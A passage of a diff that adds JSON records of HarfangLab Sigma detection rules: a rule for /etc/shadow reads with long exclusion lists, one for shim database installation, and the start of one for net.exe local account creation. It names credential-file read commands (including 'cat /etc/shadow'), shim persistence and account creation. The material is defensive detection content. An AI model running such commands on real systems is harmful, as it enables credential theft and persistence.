a[$1] == \"locked\"){a[$1]=\"disabled\";} print $1\":\"a[$1]\":\"$7}} /etc/shadow /etc/passwd\n            # awk -F: {if (NR==FNR){if ($2 ~ /^(\\!|\\*)/) a[$1]=\"locked\"; else a[$1]=\"unlocked\"} else if($3 < 500 && $1 != \"root\") {print $1\":\"a[$1]\":\"$7}} /etc/shadow /etc/passwd\n            - 'awk -F: {if (NR==FNR){if ($2 ~ *$7}} /etc/shadow /etc/passwd'\n        ProcessParentImage:\n                - '/usr/bin/dash'\n                - '/usr/bin/bash'\n        ProcessGrandparentImage:\n                - '/usr/bin/dash'\n                - '/usr/bin/bash'\n    exclusion_qme:\n        ProcessImage: '/opt/impser/vpom/bin/qme'\n    exclusion_update-notifier:\n        ProcessCommandLine: '/usr/bin/perl -w /bin/debconf-communicate -fnoninteractive update-notifier'\n        ProcessGrandparentCommandLine: '/bin/sh /etc/cron.daily/update-notifier-common'\n    exclusion_zimbra:\n        ProcessCommandLine|startswith: '/usr/bin/perl -w /opt/zimbra/libexec/zmstat-fd'\n    exclusion_pg_ctlcluster:\n        ProcessCommandLine:\n            - '/usr/bin/perl -wT /usr/bin/pg_ctlcluster *'\n            - '/usr/bin/perl -wT /usr/bin/pg_lsclusters -h'\n            - '/usr/bin/perl -wT /usr/bin/pg_lsclusters'\n    exclusion_oracle1:\n        - ProcessImage|endswith:\n            - '/app/grid/perl/bin/perl'\n            - '/app/grid/19*/perl/bin/perl'\n        - ProcessCommandLine|contains:\n            - '/u01/app/*/bin/acfsload'\n            - '/u01/app/*/perl/bin/perl* acfsload'\n            - '/orabin/grid/*/perl/bin/perl* acfsload'\n            - '/orabin/grid/*/perl/bin/perl* diagsnap'\n            - '/u01/app/oracle/*/sbin/nmo'\n            - '/app/oracle/product/agent_*/agent_*/sbin/nmo'\n            - '/usr/lib/oracle/agent/agent_*/sbin/nmo'\n            - 'perl /app/oracle.ahf/'\n            - 'perl /opt/ahf/oracle.ahf/'\n            - '/bin/perl /opt/oracle*/tfa/'\n            - '/bin/perl /oracle*/tfa/'\n            - '/u01/app/*/grid/tfa/*/tfa_home/bin/tfactl.pl'\n\n    exclusion_oracle2:\n        ProcessCommandLine|contains: '/bin/jssu -childpidfile'\n        ProcessParentImage: '*/bin/oracle'\n        ProcessGrandparentImage: '/usr/lib/systemd/systemd'\n    exclusion_rshd:\n        ProcessImage: '/usr/sbin/in.rshd'\n        ProcessParentImage: '/usr/sbin/xinetd'\n    exclusion_udscan:\n        ProcessImage: '/opt/microfocus/Discovery/.discagnt/udscan'\n    exclusion_man-db:\n        ProcessParentCommandLine: '/bin/sh /var/lib/dpkg/info/man-db.postinst triggered /usr/share/man'\n    exclusion_landscapemanager:\n        ProcessCommandLine|contains: '/usr/bin/landscape-manager'\n    exclusion_plesk:\n        ProcessImage: '/usr/local/psa/admin/sbin/sys_auth'\n    exclusion_bladelogic:\n        ProcessAncestors|contains: '|/opt/bmc/bladelogic/RSCD/bin/rscd_full|'\n    exclusion_nagios:\n        - ProcessImage: '/usr/sbin/nrpe'\n        - ProcessAncestors|contains: '|/usr/sbin/nrpe|'\n        - ProcessCommandLine: '/bin/sh */nagios/libexec/'\n    exclusion_idataagent:\n        ProcessImage:\n            - '/opt/commvault/iDataAgent64/clBackup'\n            - '/opt/commvault2/iDataAgent64/clBackup'\n    # https://github.com/microsoft/OMS-Agent-for-Linux\n    exclusion_omsagent:\n        ProcessCommandLine: '/opt/microsoft/omsagent/plugin/omsbaseline -d /opt/microsoft/omsagent/plugin/'\n        ProcessGrandparentCommandLine: 'sh -c sleep 60 && /opt/microsoft/omsagent/plugin/omsbaseline -d /opt/microsoft/omsagent/plugin/'\n    exclusion_popularity-contest:\n        ProcessCommandLine: '/usr/bin/perl -w /usr/sbin/popularity-contest --su-nobody'\n    exclusion_proxmox_backup:\n        ProcessCommandLine: '/usr/lib/x86_64-linux-gnu/proxmox-backup/proxmox-backup-api'\n        ProcessParentCommandLine: '/sbin/init'\n    exclusion_slapd:\n        ProcessCommandLine: '/bin/bash /usr/local/openldap/sbin/slapd-cli status'\n    exclusion_updatedb:\n        ProcessCommandLine: '/bin/sh /bin/updatedb.findutils'\n    exclusion_esmith:\n        ProcessCommandLine|contains:\n            - '/usr/bin/perl /sbin/e-smith/'\n            - '/usr/bin/perl /etc/e-smith/'\n            - '/usr/bin/perl -w /etc/e-smith/'\n            - '/usr/bin/perl -w /sbin/e-smith/'\n    exclusion_miteam:\n        ProcessCommandLine: '/usr/bin/perl /etc/cron.monthly/sas-miteam-expiry-notify'\n    exclusion_mvf:\n        ProcessCommandLine: '/usr/bin/perl /usr/mvf/bin/mvf-monitoring-tool'\n    exclusion_ucserver:\n        ProcessCommandLine: '/usr/bin/perl /etc/cron.daily/ucserver-miteam-stats-writer'\n\n    # VT says distributed by vmware\n    exclusion_vmware_at:\n        ProcessImage:\n            - '/usr/bin/at'\n            - '/usr/bin/atd'\n    exclusion_sapinst:\n        ProcessCommandLine:\n            - '/tmp/sapinst_exe.*.*/sapinstexe'\n            - '/tmp/sapinst_exe.*.*/sapwebdisp pf=webdisp.pfl'\n    exclusion_ade:\n        ProcessCommandLine: 'bash -c sudo /usr/local/scripts/start_ade'\n    exclusion_openldap:\n        ProcessCommandLine|startswith: '/bin/bash /usr/local/openldap/sbin/slapd-cli'\n    exclusion_eftpd:\n        ProcessCommandLine:\n            - 'eftpd -l -a -A -U backbone -F /opt/tx/fifo/eftp.fifo -c /opt/tx/conf/eftpd.conf'\n            - 'eftpd -l -F /opt/tx/fifo/eftp.fifo -c /opt/tx/conf/eftpd.conf'\n    exclusion_ttp:\n        ProcessCommandLine|startswith: '/iiidb/software/tpp/bin/perl /iiidb/csd/itechmaint'\n    exclusion_deepinstinct:\n        ProcessCommandLine: '/opt/deepinstinct/bin/DeepManagementService'\n    exclusion_zenidoc:\n        ProcessCommandLine: 'screen -dmS *listen_o20.sh /zenidoc/zenreco/*/listen_o20.sh *'\n    exclusion_webmin:\n        ProcessCommandLine: '/usr/bin/perl */webmin/miniserv.pl*'\n\n    exclusion_xinet:\n        ProcessCommandLine: '/usr/sbin/xinetd -pidfile /run/xinetd.pid -stayalive -inetd_compat'\n    exclusion_rsync:\n        ProcessCommandLine: 'bash -c sudo -u root rsync --server -* --log-format=%i --delay-updates . *'\n\n    exclusion_lynis:\n        ProcessParentCommandLine:\n            - '/bin/sh ./lynis audit system'\n            - '/bin/sh /usr/bin/lynis audit system --cronjob'\n            - '/bin/sh /usr/sbin/lynis audit system --cronjob'\n            - '/bin/sh /usr/bin/lynis --quick --no-colors*'\n            - '/bin/sh /usr/sbin/lynis --quick --no-colors*'\n\n    exclusion_oar:\n        # /usr/bin/perl /usr/lib/oar/sarko\n        # /usr/bin/perl /usr/lib/oar/Almighty\n        # /usr/bin/perl /usr/lib/oar/NodeChangeState\n        # /usr/bin/perl /usr/lib/oar/oar_meta_sched\n        # /usr/bin/perl /usr/lib/oar/finaud\n        # /usr/bin/perl /usr/lib/oar/Leon\n        # /usr/bin/perl /usr/lib/oar/oaraccounting\n        # /usr/bin/perl /usr/lib/oar/bipbip *\n        # /usr/bin/perl /usr/lib/oar/oarsub *\n        # /usr/bin/perl /usr/lib/oar/oardel *\n        # /usr/bin/perl /usr/lib/oar/oarnodesetting *\n        # /usr/bin/perl -w /usr/lib/oar/oarstat -u\n        # /usr/bin/perl -w /usr/lib/oar/oarstat -u *\n        # /usr/bin/perl -w /usr/lib/oar/oarapi.pl\n        # /usr/bin/perl /usr/lib/oar//schedulers/oar_sched_gantt_with_timesharing_and_fairsharing_and_quotas *\n        # /usr/bin/perl /usr/sbin/oar-database --check\n        ProcessCommandLine|startswith:\n            - '/usr/bin/perl /usr/lib/oar/'\n            - '/usr/bin/perl -w /usr/lib/oar/'\n            - '/usr/bin/perl /usr/sbin/oar-'\n\n    exclusion_spamd:\n        ProcessCommandLine|startswith:\n            - '/usr/bin/perl /usr/sbin/spamd'\n            - '/usr/bin/perl -T -w /usr/sbin/spamd'\n\n    exclusion_pure_ftpd:\n        ProcessImage: '/usr/sbin/pure-ftpd'\n\n    exclusion_rudder:\n        - ProcessImage: '/opt/rudder/bin/cf-agent'\n        - ProcessParentImage: '/opt/rudder/bin/cf-agent'\n        - ProcessGrandparentImage: '/opt/rudder/bin/cf-agent'\n\n    exclusion_rapid7:\n        ProcessImage: '/opt/rapid7/ir_agent/components/insight_agent/*/ir_agent'\n\n    exclusion_oarssh:\n        ProcessCommandLine: 'perl - * oarexec'\n        ProcessParentCommandLine: '/usr/sbin/sshd -f /etc/oar/sshd_config -o pidfile=/var/run/oar-node_sshd.pid -r'\n        ProcessParentImage: '/usr/sbin/sshd'\n\n    exclusion_tina:\n        ProcessCommandLine:\n            - '/tina/atempodedupengine/default/bin/.exe.ade_server'\n            - '/tina/atempowebinterfaces/*'\n            - '/tina/timenavigator/tina/*'\n            - '/usr/atempo/timenavigator/tina/3rdparty/*'\n            - '/usr/atempo/timenavigator/tina/bin/*'\n            - '/usr/tina/bin/*'\n            - '/usr/tina/timenavigator/tina/bin/*'\n            - '/var/hote/timenavigator/tina/3rdparty/*'\n            - '/var/hote/timenavigator/tina/bin/*'\n\n    exclusion_bacula:\n        ProcessImage:\n            - '/usr/sbin/bacula-fd'\n            - '/opt/bacula/bin/bacula-fd'\n\n    exclusion_bitdefender:\n        ProcessImage: '/opt/bitdefender-security-tools/bin/bdsecd'\n\n    exclusion_fsecure:\n        - ProcessImage|startswith:\n            - '/opt/f-secure/linuxsecurity/'\n            - '/opt/f-secure/baseguard/'\n        - ProcessParentImage|startswith:\n            - '/opt/f-secure/linuxsecurity/'\n            - '/opt/f-secure/baseguard/'\n        - ProcessGrandparentImage|startswith:\n            - '/opt/f-secure/linuxsecurity/'\n            - '/opt/f-secure/baseguard/'\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    exclusion_mitel:\n        ProcessCommandLine: '/usr/bin/perl /opt/intertel/bin/uca_deployu_notifier.pl'\n\n    exclusion_tiger:\n        ProcessGrandparentCommandLine|startswith: '/bin/sh /usr/lib/tiger/'\n\n    exclusion_omv_engined:\n        - ProcessGrandparentCommandLine: 'omv-engined'\n        - ProcessGrandparentCommandLine|contains: '/usr/sbin/omv-engined'\n\n    exclusion_rkhunter:\n        - ProcessParentCommandLine|contains: '/bin/rkhunter '\n        - ProcessGrandparentCommandLine|contains: '/bin/rkhunter '\n\n    exclusion_puppet:\n        - ProcessImage|startswith: '/opt/puppetlabs/'\n        - ProcessParentImage|startswith: '/opt/puppetlabs/'\n        - ProcessCommandLine|contains:\n            - '/usr/bin/puppet agent'\n            - 'puppet agent: applying configuration'\n\n    exclusion_gitlab_ruby:\n        ProcessImage: '/opt/gitlab/embedded/bin/ruby'\n\n    exclusion_cybereason:\n        ProcessImage: '/opt/cybereason/sensor/bin/cbram'\n\n    exclusion_patrol_agent:\n        ProcessImage: '/opt/patrol/*/linux-*/bin/patrolagent'\n\n    exclusion_microsoft_wdavdaemon:\n        ProcessImage: '/opt/microsoft/mdatp/sbin/wdavdaemon'\n\n    exclusion_lfd:\n        ProcessCommandLine:\n            - '/usr/bin/perl /usr/sbin/lfd'\n            - 'lfd - sleeping'\n\n    exclusion_crowdstrike:\n        ProcessImage|startswith: '/opt/crowdstrike/falcon-sensor'\n\n    exclusion_ossec:\n        - ProcessImage: '/var/ossec/bin/ossec-syscheckd'\n        - ProcessCommandLine:\n          - '/var/ossec/bin/wazuh-syscheckd'\n          - '/var/ossec/bin/wazuh-modulesd'\n\n    exclusion_lacework_datacollector:\n        # /var/lib/lacework/6.11.0.21858/datacollector\n        # /var/lib/lacework/6.7.6.19823/datacollector\n        ProcessImage: '/var/lib/lacework/*/datacollector'\n\n    exclusion_docker:\n        - ProcessImage:\n            - '/usr/bin/dockerd'\n            - '/usr/sbin/dockerd'\n            - '/usr/bin/dockerd-current'\n            - '/usr/sbin/dockerd-current'\n            - '/usr/local/bin/dockerd'\n            - '/usr/bin/podman'\n        - ProcessAncestors|contains:\n            - '/var/lib/rancher/rke2/data/*/bin/containerd-shim-runc-v2|/'\n            - '|/usr/bin/conmon|/usr/bin/podman|'\n            - '|/usr/bin/containerd-shim-runc-v2|'\n            - '|/usr/bin/dockerd|'\n\n    exclusion_pacemaker:\n        - ProcessCurrentDirectory|startswith: '/var/lib/pacemaker/'\n          ProcessGrandparentCommandLine|startswith: '/bin/sh /usr/lib/ocf/resource.d/heartbeat/'\n        - ProcessCurrentDirectory|startswith: '/var/lib/pacemaker/'\n          ProcessParentCommandLine|startswith: '/bin/sh /usr/lib/ocf/resource.d/heartbeat/'\n        - ProcessParentImage: '/usr/libexec/pacemaker/pacemaker-execd'\n\n    exclusion_hive_client:\n        ProcessCommandLine|startswith:\n            - '/usr/bin/python? /usr/local/bin/hive-client '\n            - '/usr/bin/python?.? /usr/local/bin/hive-client '\n            - '/usr/bin/python?.?? /usr/local/bin/hive-client '\n\n    exclusion_ldirectord:\n        ProcessName: 'ldirectord'\n        ProcessCommandLine: '/usr/bin/perl -w /usr/sbin/ldirectord /etc/ha.d/ldirectord.cf status'\n\n    exclusion_qpsmtpd:\n        ProcessImage: '/usr/bin/perl'\n        ProcessCommandLine|startswith: '/usr/bin/perl -tw /usr/bin/qpsmtpd-forkserver '\n\n    exclusion_gapagent:\n        ProcessCommandLine|startswith: '/usr/local/bin/perl /usr/local/bin/rcmd a_pgap windows/start_gap_agent.pl '\n\n    exclusion_proxmox:\n        - ProcessCommandLine: '/usr/lib/x86_64-linux-gnu/proxmox-backup/proxmox-backup-api'\n        - ProcessCommandLine: 'pvedaemon'\n          ProcessParentCommandLine: 'pvedaemon'\n        - ProcessImage: '/usr/bin/perl'\n          ProcessCommandLine:\n            - '/usr/bin/perl /usr/bin/pmgdaemon start'\n            - '/usr/bin/perl * /usr/bin/pvedaemon start'\n            - 'pvedaemon worker'\n            - 'pvedaemon'\n            - 'pmgdaemon worker'\n            - 'pmgdaemon'\n\n    exclusion_agent:\n        ProcessImage: '/usr/local/bin/agent'\n\n    exclusion_systsem:\n        ProcessParentImage: '/usr/lib/systemd/systemd'\n\n    exclusion_detect:\n        ProcessCommandLine|startswith: '/usr/bin/perl -w /opt/detect/bin/'\n\n    exclusion_cyberwatch:\n        - ProcessParentGrandparentCommandLine|startswith: 'python3 /usr/bin/cyberwatch-agent'\n        - ProcessGrandparentGrandparentCommandLine|startswith: 'python3 /usr/bin/cyberwatch-agent'\n\n    exclusion_tanium:\n        - ProcessParentCommandLine|startswith:\n            - '/bin/bash /opt/tanium/taniumclient/vb/tempunix_'\n            - '/opt/tanium/taniumclient/taniumclient '\n        - ProcessAncestors|contains:\n            - '/opt/tanium/taniumclient/taniumclient'\n            - '/opt/tanium/taniumclient/taniumspawnhelper'\n            - '/opt/tanium/taniumclient/taniumcx'\n\n    exclusion_grep:\n        ProcessCommandLine:\n            - 'grep * /'\n            - 'grep * /etc'\n            - 'grep * /etc/'\n\n    exclusion_awk:\n        ProcessImage: '/usr/bin/gawk'\n        ProcessCommandLine|startswith:\n            - 'awk -F: ($2 == \"\" ) { '\n            - 'awk -F: $2~/^\\$.+\\$/{'\n            - 'awk -F: ($2~/^\\$.+\\$/) {'\n\n    exclusion_delete_user:\n        ProcessCommandLine|startswith:\n            - '/usr/bin/perl /usr/sbin/deluser '\n            - '/usr/bin/perl -* /usr/sbin/deluser '\n\n    exclusion_sympa:\n        ProcessCommandLine|startswith: '/bin/perl /usr/local/sympa/bin/'\n\n    exclusion_spamassassin:\n        ProcessCommandLine|contains:\n            - '/usr/bin/perl -T -w /bin/sa-learn '\n            - '/usr/bin/perl -T -w /bin/sa-update'\n            - '/usr/bin/perl -T -w /usr/bin/sa-update'\n            - '/usr/bin/perl /usr/bin/pmg-smtp-filter'\n\n    exclusion_salt_minion:\n        ProcessCommandLine|contains:\n            - '/opt/saltstack/salt/bin/python3.?? /usr/bin/salt-minion'\n            - '/usr/bin/python3 /usr/bin/salt-minion'\n\n    exclusion_cfengine:\n        - ProcessParentImage: '/var/cfengine/bin/cf-execd'\n        - ProcessAncestors|contains: '/var/cfengine/bin/cf-execd'\n\n    exclusion_nessus:\n        ProcessGrandparentCommandLine: 'sudo -u root -p Password: sh -c printf \"command_start_%s\" \"????????\"; cat /etc/shadow; printf \"command_done_%s\" \"????????\"'\n\n    exclusion_convert2rhel:\n        ProcessCommandLine|startswith:\n            - '/usr/bin/python2 /bin/convert2rhel '\n            - '/usr/bin/python2 /usr/bin/convert2rhel '\n\n    exclusion_keepalived:\n        ProcessParentImage: '/usr/sbin/keepalived'\n        ProcessCommandLine|startswith: '/usr/bin/perl /usr/local/pf/bin/cluster/pfupdate'\n\n    exclusion_zentyal:\n        ProcessCommandLine: '/usr/bin/perl /usr/share/zentyal/shell $global->edition()'\n\n    exclusion_nixos:\n        - ProcessImage:\n            - '/nix/store/*-accountsservice-*/libexec/accounts-daemon'\n            - '/nix/store/*-sddm-unwrapped-*/libexec/sddm-helper'\n            - '/nix/store/*-systemd-*/lib/systemd/systemd-executor'\n        - ProcessParentImage: '/nix/store/*-switch-to-configuration-*/bin/switch-to-configuration'\n        - ProcessGrandparentImage: '/nix/store/*-switch-to-configuration-*/bin/switch-to-configuration'\n\n    exclusion_salt:\n        ProcessCommandLine|startswith: '/usr/bin/python* /var/lib/salt-bootstrap/salt-call '\n\n    exclusion_oracle_grid:\n        ProcessAncestors|contains: '/app/*/grid/bin/orarootagent.bin'\n\n    condition: selection and 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4af5cd27-b69e-4679-a1b5-b6f72cc439aa",
+  "rule_name": "File /etc/shadow Read",
+  "rule_description": "Detects an attempt to read /etc/shadow.\nThis file contains the encrypted passwords of all the accounts on the system.\nThe content of this file is often used to gather information about the system and for offline password cracking.\nIt is recommended to ensure that the process accessing this file is legitimate and that it will keep its content secret.\n",
+  "rule_creation_date": "2022-11-16",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.008",
+    "attack.t1078"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4b15d896-f348-4de9-ad85-28eb72a667dd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.624760Z",
+  "creation_date": "2026-03-23T11:45:34.624762Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.624766Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://strontic.github.io/xcyclopedia/library/sdbinst.exe-9A081E86E9FF0AA957EDA8E8D0624BAC.html",
+    "https://redcanary.com/blog/detecting-application-shimming/",
+    "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html",
+    "https://blog.f-secure.com/hunting-for-application-shim-databases/",
+    "https://attack.mitre.org/techniques/T1546/011/"
+  ],
+  "name": "t1546_011_new_shim_database.yml",
+  "content": "title: New Shim Database Installed\nid: 4b15d896-f348-4de9-ad85-28eb72a667dd\ndescription: |\n    Detects the installation of a new shim database on the system.\n    Application shims are used by Microsoft to allow backward compatibility of applications on differing Windows version.\n    Attackers can register a malicious shim database to establish persistence or to elevate privileges.\n    It is recommended to investigate the added shim database and the execution context of the detected process to determine the legitimacy of this action.\nreferences:\n    - https://strontic.github.io/xcyclopedia/library/sdbinst.exe-9A081E86E9FF0AA957EDA8E8D0624BAC.html\n    - https://redcanary.com/blog/detecting-application-shimming/\n    - https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html\n    - https://blog.f-secure.com/hunting-for-application-shim-databases/\n    - https://attack.mitre.org/techniques/T1546/011/\ndate: 2022/10/24\nmodified: 2025/12/10\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1546.011\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject|contains: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\InstalledSDB\\{????????-????-????-????-????????????}\\DatabasePath'\n\n    exclusion_empty:\n        Details:\n            - '(Empty)'\n            - ''\n\n    exclusion_sdbinst_program_files:\n        ProcessCommandLine|startswith:\n            - 'sdbinst.exe *:\\Program Files\\'\n            - '?:\\WINDOWS\\System32\\sdbinst.exe *:\\Program Files\\'\n            - '?:\\WINDOWS\\SysWOW64\\sdbinst.exe *:\\Program Files\\'\n            - 'sdbinst.exe *:\\Program Files (x86)\\'\n            - '?:\\WINDOWS\\System32\\sdbinst.exe *:\\Program Files (x86)\\'\n            - '?:\\WINDOWS\\SysWOW64\\sdbinst.exe *:\\Program Files (x86)\\'\n\n    exclusion_fp:\n        ProcessCommandLine:\n            - 'rundll32.exe acmigration.dll,ApplyMigrationShims'\n            - '?:\\$WINDOWS.~BT\\Sources\\SetupPlatform.exe /preoobe'\n\n    exclusion_sap:\n        # C:\\Program Files (x86)\\SAP\\SapSetup\\Setup\\NwSapSetup.exe\n        ProcessSigned: 'true'\n        ProcessSignature: 'SAP SE'\n\n    exclusion_kaspersky:\n        ProcessImage: '?:\\Program Files (x86)\\Kaspersky Lab\\Kaspersky Security for Windows Server\\kavfs.exe'\n\n    exclusion_acmigration:\n        ProcessCommandLine: '?:\\WINDOWS\\system32\\sdbinst.exe -q ?:\\WINDOWS\\Panther\\MigrationShims\\MigShim2\\Migrating\\{5534e02f-0f5d-40dd-ba92-bea38d22384d}.sdb'\n\n    exclusion_ztvoice:\n        ProcessCommandLine: '?:\\windows\\system32\\sdbinst.exe -q ?:\\windows\\Speech\\Freedom Scientific ZtVoiceEnable Zt.sdb'\n\n    exclusion_speech:\n        ProcessCommandLine: '?:\\Windows\\system32\\sdbinst.exe -q ?:\\Windows\\Speech\\Freedom Scientific ZtVoiceEnable ZrWaveWriter.sdb'\n\n    exclusion_driverstore:\n        ProcessCommandLine: '?:\\Windows\\System32\\DriverStore\\FileRepository\\ipf_cpu.inf_amd64_????????????????\\ipf_uf.exe'\n\n    exclusion_sigafinance:\n        ProcessCommandLine: 'sdbinst -q SigaFinance.sdb'\n\n    exclusion_testxpert:\n        # Generic InstallShield\n        ProcessParentImage: '?:\\Users\\\\*\\AppData\\Local\\Temp\\is-*\\setup.tmp'\n        ProcessParentProduct: 'testXpert III'\n\n    exclusion_aplus:\n        ProcessCommandLine: '?:\\Windows\\SysWOW64\\sdbinst.exe -q ?:\\Users\\\\*\\AppData\\Local\\Temp\\{????????-????-????-????-????????????}\\APlusUpdater.sdb'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4b15d896-f348-4de9-ad85-28eb72a667dd",
+  "rule_name": "New Shim Database Installed",
+  "rule_description": "Detects the installation of a new shim database on the system.\nApplication shims are used by Microsoft to allow backward compatibility of applications on differing Windows version.\nAttackers can register a malicious shim database to establish persistence or to elevate privileges.\nIt is recommended to investigate the added shim database and the execution context of the detected process to determine the legitimacy of this action.\n",
+  "rule_creation_date": "2022-10-24",
+  "rule_modified_date": "2025-12-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1546.011"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4b16ffcc-7a4d-49a7-9018-19944c4ae417",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621989Z",
+  "creation_date": "2026-03-23T11:45:34.621991Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621995Z",
+  "rule_level": "low",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1136/001/"
+  ],
+  "name": "t1136_net_create_local_account.yml",
+  "content": "title: Local User Account Created via net.exe\nid: 4b16ffcc-7a4d-49a7-9018-19944c4ae417\ndescription: |\n    Detects the creation of a local user account via net1.exe.\n    Adversaries may create a local account to maintain access to victim systems.\n    It is recommended to analyze the parent process and more generally the execution context to look malicious content or actions.\nreferences:\n    - https://attack.mitre.org/techniques/T1136/001/\ndate: 2021/03/15\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1136.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.AccountManipulation\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\net1.exe'\n        # Renamed binaries\n        - OriginalFileName: 'net1.exe'\n    selection_user:\n        CommandLine|contains:\n            - ' user '\n            - ' users '\n    selection_add:\n        CommandLine|contains: '/add'\n\n    # This is handled by another rule\n    filter_domain:\n        CommandLine|contains: '/domain'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_ancestors:\n        Ancestors|contains:\n            - '?:\\Windows\\CCM\\CcmExec.exe'\n            - '?:\\Program Files (x86)\\wapt\\wapt-get.exe'\n            - '?:\\Program Files\\ESET\\RemoteAdministrator\\Agent\\ERAAgent.exe'\n            - '?:\\Program Files\\FusionInventory-Agent\\perl\\bin\\fusioninventory-agent.exe'\n            - '?:\\Program Files (x86)\\Microsoft Intune Management Extension\\AgentExecutor.exe'\n            - '?:\\Program Files\\Pragma\\Telemote\\TelemoteService.exe'\n\n    exclusion_ccm:\n        - Ancestors|contains: '?:\\Windows\\System32\\wbem\\WmiPrvSE.exe'\n          CurrentDirectory:\n            - '?:\\WINDOWS\\ccmcache\\\\*\\'\n            - '?:\\ccmcache\\\\*\\'\n        - Ancestors|contains: '?:\\Windows\\ccmcache\\\\*\\\\*|?:\\Windows\\System32\\wbem\\WmiPrvSE.exe'\n\n    condition: all of selection_* and 